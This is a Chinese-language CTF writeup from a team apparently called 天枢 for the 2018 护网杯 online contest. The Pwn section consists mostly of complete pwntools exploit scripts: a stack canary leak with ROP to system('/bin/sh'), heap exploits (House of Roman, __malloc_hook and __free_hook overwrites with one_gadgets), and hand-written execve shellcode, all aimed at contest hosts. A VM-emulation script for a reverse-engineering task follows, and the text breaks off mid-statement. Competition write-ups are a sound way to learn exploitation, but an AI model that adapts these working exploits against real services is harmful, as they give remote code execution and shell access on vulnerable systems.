2018护网杯线上赛writeup by 天枢

author: 天枢

Pwn

huwang

emmmm,只有666功能里面有用,里面会打开一个文件,然后写随机数进去,而在md5的时候,会先清空文件内容,然后再将md5之后的数据写入到文件中,如果这时候给个-1程序就会超时,自动杀死自己,结果导致文件内容为空,这样就可以预测,剩下的就是一个栈溢出了。。。。

from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

def sixsixsix(p, name, rd, secret, flag = 1):
    p.recvuntil('>> \n')
    p.sendline('666')
    p.recvuntil('name\n')
    p.send(name)
    p.recvuntil('secret?\n')
    p.sendline('y')
    p.recvuntil('secret:\n')
    p.sendline(str(rd))
    if flag == 1:
        p.recvuntil('secret\n')
        p.send(secret)

def GameStart(ip, port, debug):
    if debug == 1:
        p = process('./huwang')
    else:
        p = remote(ip, port)
    sixsixsix(p, 'w1tcher', -1, 'w1tcher', 0)
    p.recvuntil('timeout~')
    if debug == 1:
        p = process('./huwang', env = {'LD_PRELOAD' : './libc.so.6'})
        gdb.attach(p, 'b *0x040110D\nc')
    else:
        p = remote(ip, port)
    libc = ELF('./libc.so.6')
    sixsixsix(p, 'w1tcher'.ljust(0x19, 'a'), 1, '4ae71336e44bf9bf79d2752e234818a5'.decode('hex'))
    p.recvuntil('w1tcher'.ljust(0x19, 'a'))
    canary = u64('\x00' + p.recvn(7))
    p.recvuntil('occupation?\n')
    p.send('a' * 0xff)
    p.recvuntil('[Y/N]\n')
    p.sendline('Y')
    shellcode = 'a' * 0x108 + p64(canary) + p64(0)
    shellcode += p64(0x0000000000401573) + p64(0x0602F70) + p64(0x40101C)
    p.send(shellcode)
    p.recvuntil('Congratulations, ')
    libc_addr = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['puts']
    p.recvuntil('occupation?\n')
    p.send('a' * 0xff)
    p.recvuntil('[Y/N]\n')
    p.sendline('Y')
    shellcode = 'a' * 0x108 + p64(canary) + p64(0)
    shellcode += p64(0x0000000000401573) + p64(next(libc.search('/bin/sh')) + libc_addr) + p64(libc_addr + libc.symbols['system'])
    p.send(shellcode)


    p.interactive()

if __name__ == '__main__':
    GameStart('117.78.26.79', 31399, 1)

calendar

官方提示House of Roman,但是,你为啥不提示一下libc呢?

from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

def add(p, index, size):
    p.recvuntil('choice> ')
    p.sendline('1')
    p.recvuntil('choice> ')
    p.sendline(str(index + 1))
    p.recvuntil('size> ')
    p.sendline(str(size))

def edit(p, index, size, data):
    p.recvuntil('choice> ')
    p.sendline('2')
    p.recvuntil('choice> ')
    p.sendline(str(index + 1))
    p.recvuntil('size> ')
    p.sendline(str(size))
    p.recvuntil('info> ')
    p.send(data)

def remove(p, index):
    p.recvuntil('choice> ')
    p.sendline('3')
    p.recvuntil('choice> ')
    p.sendline(str(index + 1))

def get_base(p):
    with open('/proc/' + str(pidof(p)[0]) + '/maps') as f:
        data = f.read()
    with open('/proc/' + str(pidof(p)[0]) + '/environ') as f:
        environ = f.read()
    if 'LD_PRELOAD' not in environ:
        libcPath = os.readlink('/')
    else:
        libcPath = 'libc.so.6'
    libcBase = -1
    if libcBase < 0:
        for i in data.split('\n'):
            if libcPath in i and 'r-xp' in i:
                libcBase = int(i[ : i.index('-')], 16)
                break
    return libcBase

def GameStart(p):
    # if debug == 1:
    #   p = process('./task_calendar', env = {'LD_PRELOAD' : './libc.so.6'})
    #   gdb.attach(p, '\nc')
    # else:
    #   p = remote(ip, port)
    p.recvuntil('e> ')
    p.sendline('w1tcher')
    libc_base = 0xb42000
    # libc_base = get_base(p) & 0xfff000
    log.info('libc base is : ' + hex(libc_base))
    malloc_hook = 0x3c4b10
    # one_gadget = 0x45216
    # one_gadget = 0x4526a
    # one_gadget = 0xf02a4
    one_gadget = 0xf1147
    add(p, 0, 0x68)
    add(p, 0, 0x68)
    add(p, 0, 0x18)
    add(p, 1, 0x60)
    add(p, 2, 0x60)
    add(p, 2, 0x60)
    edit(p, 0, 0x18, '\x00' * 0x18 + '\xe1')
    remove(p, 1)
    add(p, 0, 0x60)
    add(p, 1, 0x60)
    edit(p, 0, 2, p64(libc_base + malloc_hook - 0x23)[0 : 3])
    remove(p, 1)
    remove(p, 2)
    edit(p, 2, 1, '\n')
    add(p, 1, 0x60)
    add(p, 0, 0x60)
    add(p, 0, 0x60)
    remove(p, 1)
    edit(p, 1, 7, p64(0))
    add(p, 1, 0x60)

    add(p, 1, 0x60)
    add(p, 1, 0x40)
    edit(p, 1, 0x40 - 1, p64(0) * 6 + p64(0) + p64(0x71))
    add(p, 1, 0x60)
    edit(p, 1, 0x60 - 1, p64(0) * 8 + p64(0x50) + p64(0x20) + p64(0) + p64(0x71))
    add(p, 2, 0x60)
    add(p, 3, 0x60)
    remove(p, 3)
    remove(p, 2)
    edit(p, 2, 1, '\n')
    add(p, 2, 0x60)
    add(p, 2, 0x60)
    edit(p, 2, 0x10 - 1, p64(0) + p64(0xe1))
    remove(p, 1)
    edit(p, 2, 0x1b - 1, p64(0) + p64(0x51) + p64(0) + p64(libc_base + malloc_hook - 0x10)[0 : 3])
    add(p, 3, 0x40)
    edit(p, 0, 0x16 - 1, '\x00' * 0x13 + p64(libc_base + one_gadget)[0 : 3])
    add(p, 3, 0x40)
    p.sendline('cat flag')
    p.sendline('cat flag')
    p.sendline('cat flag')
    p.interactive()

if __name__ == '__main__':
    debug = 0
    while True:
        try:
            if debug == 1:
                p = process('./task_calendar', env = {'LD_PRELOAD' : './libc.so.6'})
                # gdb.attach(p, '\nc')
            else:
                p = remote('117.78.40.144', 31274)
            GameStart(p)
        except Exception as e:
            # raise e
            p.close()

gettingstart

签到题

from pwn import *
p = remote('117.78.40.144', 32671)
#p = process('task_gettingStart_ktQeERc')
p.send('a'*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))
p.interactive()

shoppingcart

在edit功能存在一个整数溢出,和一个off-by-one
首先申请并释放得到unsorted bin,再malloc(0),就可以泄露mainarena+344的地址
可以申请多个money,然后编辑最后一个money,可以null-off-by-one给最后一个指针
最后一个指针落到fgets的缓冲区中.通过fgets输入,预置好null-off-by-one的位置指向\
_free_hook
就可以将其改为system,触发free就可执行 system("/bin/sh")
emmmm 远程和本地的fgets块大小不一样,有点伤,试了好久。。。

from pwn import *
import time
debug=1
lib = 0

if lib==0:
    libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
    offset = 0x230
    one_gadget = [0x45216,0x4526a,0xf0274,0xf1117]
else:
    libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
    offset = 0x260
    one_gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
context.log_level = 'debug'
elf = ELF('./task_shoppingCart')

if debug:
    p= process('./task_shoppingCart')#,env={'LD_PRELOAD' :libc_name})

    libc = ELF(libc_name)
else:
    p = remote( '117.78.26.133', 31666)#process('./pwn1')
    libc = ELF(libc_name)
    offset = 0x230

def add(size,name):
    p.recvuntil("Now, buy buy buy!")
    p.sendline('1')
    p.recvuntil("name?")
    p.sendline(str(size))
    p.recvuntil("What is your goods name?")
    p.send(name)

def delete(idx):
    p.recvuntil("Now, buy buy buy!")
    p.sendline('2')
    p.recvuntil("Which goods that you don't need?")
    p.sendline(str(idx) )


def edit(idx):
    p.recvuntil("Now, buy buy buy!")
    p.sendline('3') 
    p.recvuntil("Which goods you need to modify?")
    p.sendline(str(idx))
def edit_vul(context):
    p.recvuntil("Now, buy buy buy!")
    p.sendline('3') 
    p.recvuntil("Which goods you need to modify?")
    p.send(context)
if debug:
    attach(p)
for i in range(0x13):
    p.recvuntil("EMMmmm, you will be a rich man!")
    p.sendline('1')
    p.recvuntil("I will give you $9999, but what's the  currency type you want, RMB or Dollar?")
    p.sendline('a'*8)
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('1')
p.recvuntil("I will give you $9999, but what's the  currency type you want, RMB or Dollar?")
p.sendline('b'*8)   
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('3')


add(0x100,'p4nda') #0
add(0x70,'/bin/sh\0') #1
delete(0)

add(0,'')#2
edit(2)

p.recvuntil('OK, what would you like to modify ')
libc_addr = u64(p.recv(6).ljust(8,'\0'))
libc.address = libc_addr- 0x10 - 344 -libc.symbols['__malloc_hook'] 
p.send('p4nda')
print '[+] leak',hex(libc_addr) 
print '[+] system',hex(libc.symbols['system']) 

edit( (0x202140+19*8 - 0x2021E0 )/8 &0xffffffffffffffff )
p.recvuntil('to?')
p.send('d'*8)
payload = (str((0x202140 - 0x2021E0 )/8 &0xffffffffffffffff)+'\n') 

payload+= (str(2)+'\n') 
payload+= (str(1)+'\n')

if debug:
    payload = payload.ljust(0x1000-0x20,'a')
    payload+= p64(libc.symbols['__free_hook'])
else:
    payload = payload.ljust(0x100,'a')  
    payload+= p64(libc.symbols['__free_hook']) * 0x60


edit_vul(payload)
p.recvuntil('to?')
p.send(p64(libc.symbols['system']))


p.interactive()

six

说来也巧,好像原题是云贵铁三赛的PWN,由七字节的shellcode变成六字节的shellcode,其他都没有变化。
恰好当时在看雪的PWN板块和别人讨论过这题,直接就用了EXP:https://bbs.pediy.com/thread-227100.htm
题目有个坑点就是mmap的地址是urandom来的,但是不满足mmap要求时,会随机分配这个地址,申请两块同样大小的mmap内存时,当随机分配时二者相邻,且用作栈的地址是低地址。
shellcode运行时,将所有寄存器置0,用rsp就好了,从rsp一直覆写直到当前的rip的位置,写入拿shell的代码就可以了。
手速太慢拿了二血,不知道一血是不是和我讨论的那位师傅...

from pwn import *
#p =process('./six')
p=remote('117.78.26.97', 32200)#process('./seven')
#gdb.attach(p)
p.readuntil('shellcode:')
payload=chr(0x54)+chr(0x5e)+chr(0x8b)+chr(0xd6)+chr(0x0F)+chr(0x05)

p.send(payload)
z=[
0xB8, 0x3B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xFE, 0x48, 0x81, 0xC7, 0x4e, 0x0B, 0x00, 0x00, 0x4b, 0x48,0x33, 0xD2, 0x48,
0x33, 0xF6, 0x0F, 0x05, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00]
zz=''
for i in range(0,len(z)):
    zz+=chr(z[i])
payload='b'*0xb36+zz
p.writeline(payload)
p.interactive()

Reverse

rerere

简单VM逆向,通过分析VM代码,VM中要求输入长度为48,输入要求为[0-9A-F],每八个输入为一组进行check,比较值分别为
1672866348, 529818966, 1598735994, 2944977842, 1822759997, 4182965321
最终flag为 flag{94CF259FD3C15AC62BBC88FAA76CA4F5655649F1C2AE5B36}

VM脚本如下

opcode = '\x4f\x00\x00\x00\x2f\x55\x05\x54\x30\x46\x00\x47\x22\x48\x02\x4b\x33\x49\x4f\x00\x00\x00\x46\x54\x10\x48\x01\x4d\x27\x4f\x00\x00\x00\x30\x54\x10\x48\x01\x44\x16\x4f\x00\x00\x00\x39\x54\x10\x48\x01\x44\x0b\x4f\x00\x00\x00\x41\x54\x01\x48\x01\x44\x06\x47\x00\x48\x00\x4b\x05\x47\x00\x50\x00\x43\x55\x40\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\x63\xb5\xea\x2c\x54\x20\x48\x12\x47\x00\x4b\x03\x50\x00\x43\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\x1f\x94\x65\x56\x54\x20\x48\x12\x47\x00\x4b\x03\x50\x00\x43\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\x5f\x4a\xc6\x7a\x54\x20\x48\x12\x47\x00\x4b\x03\x50\x00\x43\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\xaf\x88\xcb\xb2\x54\x20\x48\x12\x47\x00\x4b\x03\x50\x00\x43\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\x6c\xa5\x1c\x3d\x54\x20\x48\x12\x47\x00\x4b\x03\x50\x00\x43\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\xf9\x52\xfc\x49\x54\x20\x48\x12\x47\x00\x4b\x02\x50\x00\x43\x00'
ans = []
for i in opcode:
    ans.append(ord(i))
opcode = ans[:]

eax = 0x498ec0
ecx = 0
edx = 0
ebx = 0
zflag = 0
input = '94CF259F'+'D3C15AC6'+'2BBC88FA'+'A76CA4F5'+'655649F1'+'C2AE5B36'
print input
ans = []
for i in input:
    ans.append(ord(i))
input = ans[:]

index = 0
stack = []
eip = 0

l = []

def fetchNum1():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    t = opcode[eip+1]&0xf 
    if t == 0:
        return 'eax',eax
    elif t == 1:
        return 'ecx',ecx
    elif t == 2:
        return 'edx',edx
    elif t == 3:
        return 'ebx',ebx
    elif t == 4:
        return 'zflag',zflag
    else:
        return '0',0

def fetchNum2():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    t = opcode[eip+1]>>4
    if t == 0:
        return 'eax',eax
    elif t == 1:
        return 'ecx',ecx
    elif t == 2:
        return 'edx',edx
    elif t == 3:
        return 'ebx',ebx
    elif t == 4:
        return 'zflag',zflag
    else:
        return '0',0

def mov(a1):
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    t = opcode[eip+1]>>4
    if t == 0:
        eax = a1
        return 'eax'
    elif t == 1:
        ecx = a1
        return 'ecx'
    elif t == 2:
        edx = a1
        return 'edx'
    elif t == 3:
        ebx = a1
        return 'ebx'


def jmpback():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    if zflag==-1:
        print 'zflag == -1, eip += %d = %d'%(opcode[eip+1]+2,eip+opcode[eip+1]+2)
        eip += opcode[eip+1]+2
    else:
        print 'zflag != -1, eip += 2 =%d'%(eip+2)       
        eip += 2 

def notequaljmp():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    if zflag!=0:
        eip += 2
        print 'zflag !=0 eip+=2 = %d'%eip
    else:
        eip += opcode[eip+1]+2
        print 'zflag ==0 eip += %d = %d'%(opcode[eip+1]+2,eip)


def equaljmp():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    if zflag == 1:
        eip += opcode[eip+1]+2
        print 'zflag == 1 eip += %d = %d'%(opcode[eip+1]+2,eip)
    else:
        print 'zflag != 1 eip += 2 = %d'%(eip)
        eip += 2

def jmpupper():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    if ebx!=0 :
        ebx = ebx-1
        eip -= opcode[eip+1]
        print 'ebx(%x)!=0 eip-=%d = %d'%(ebx,opcode[eip+1],eip)
    else:
        eip += 2
        print 'ebx==0 eip += 2 = %d'%eip

def mod():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,divider = fetchNum1()
    op2,dividend = fetchNum2()
    mov(dividend%divider)
    print 'mod %s(%x),%s(%x) = %d'%(op2,dividend,op1,divider,dividend%divider)
    eip += 2

def movinput():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op = mov(input[index])
    print 'mov %s,input[%d](%x)'%(op,index,input[index])
    eip += 2

def xor():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,divider = fetchNum1()
    op2,dividend = fetchNum2()
    mov(dividend^divider)
    print 'xor %s(%x),%s(%x) = %d'%(op2,dividend,op1,divider,dividend^divider)
    eip += 2

def cmp():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,v2 = fetchNum1()
    op2,v3 = fetchNum2()
    if v3==v2:
        zflag = 0
    elif v3 < v2:
        zflag = -1
    elif v3 > v2:
        zflag = 1
    print 'cmp %s(%x),%s(%x) zflag = %d'%(op2,v3,op1,v2,zflag)
    eip += 2

def inc_input():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    index += 1
    print 'index += 1 = %d'%(index)
    eip += 1

def v_and():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,divider = fetchNum1()
    op2,dividend = fetchNum2()
    mov(dividend&divider)
    print 'and  %s(%x),%s(%x) = %d'%(op2,dividend,op1,divider,dividend&divider)
    eip += 2

def xor66():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    print 'xor66 called'
    i = 0
    while i<16:
        opcode[i] ^= 0x66
        opcode[i+1] ^= 0x66
        opcode[i+2] ^= 0x66
        opcode[i+3] ^= 0x66
        opcode[i+4] ^= 0x66
        i += 5
    eip += 16



def dec():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,v3 = fetchNum2()
    mov(v3-1)
    print 'dec %s(%x) = %d'%(op1,v3,v3-1)
    eip += 2

def pushimm():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index,l
    data = opcode[eip+4]+(opcode[eip+3]+(opcode[eip+2]+(opcode[eip+1]<<8)<<8)<<8)
    stack.append(data)
    print 'push imm %x'%data
    l.append(data)
    eip += 5

def inc():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,v3 = fetchNum2()
    mov(v3+1)
    print 'inc %s(%x) = %d'%(op1,v3,v3+1)
    eip += 2

def v_mov():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,v3 = fetchNum1()
    op2 = mov(v3)
    print 'mov %s,%s'%(op2,op1)
    eip += 2

def pushreg():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,v3 = fetchNum2()
    stack.append(v3)
    print 'push reg %s(%x)'%(op1,v3)
    eip += 2

def add():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,v3 = fetchNum1()
    op2,v4 = fetchNum2()
    mov((v3+v4)&0xffffffff)
    print 'add %s(%x),%s(%x) = %x'%(op2,v4,op1,v3,v3+v4)
    eip += 2

def popreg():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1 = mov(stack.pop())
    print 'pop %s'%op1
    eip += 2


def dec_input():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    index -= 1
    print 'index -= 1 = %d'%(index)
    eip += 1

def reg2input():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,v3 = fetchNum2()
    input[index] = v3
    print 'input[%d] = %s(%x)'%(index,op1,v3)
    eip += 2

def mul():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,v3 = fetchNum1()
    op2,v4 = fetchNum2()
    mov((v3*v4)&0xffffffff)
    print 'mul %s(%x),%s(%x) = %x'%(op2,v3,op1,v4,v3*v4)
    eip += 2

def sub():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    op1,v3 = fetchNum1()
    op2,v4 = fetchNum2()
    mov((v4-v3)&0xffffffff)
    print 'sub %s(%x),%s(%x) = %x'%(op2,v4,op1,v3,v4-v3)
    eip += 2

def inc_eip():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    print 'inc_eip called'
    eip += 1

def vm():
    global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
    while True:
        if opcode[eip]==0x43:
            return
        elif opcode[eip] == 0x44:
            jmpback()
        elif opcode[eip] == 0x45:
            mod()
        elif opcode[eip] == 0x46:
            movinput()
        elif opcode[eip] == 0x47:
            xor()
        elif opcode[eip] == 0x48:
            cmp()
        elif opcode[eip] == 0x49:
            inc_input()
        elif opcode[eip] == 0x4a:
            v_and()
        elif opcode[eip] == 0x4b:
            notequaljmp()
        elif opcode[eip] == 0x4c:
            xor66()
        elif opcode[eip] == 0x4d:
            equaljmp()
        elif opcode[eip] == 0x4e:
            dec()
        elif opcode[eip] == 0x4f:
            pushimm()
        elif opcode[eip] == 0x50:
            inc()
        elif opcode[eip] == 0x51:
            v_mov()
        elif opcode[eip] == 0x52:
            pushreg()
        elif opcode[eip] == 0x53

       
       
       

    

Hacking more

...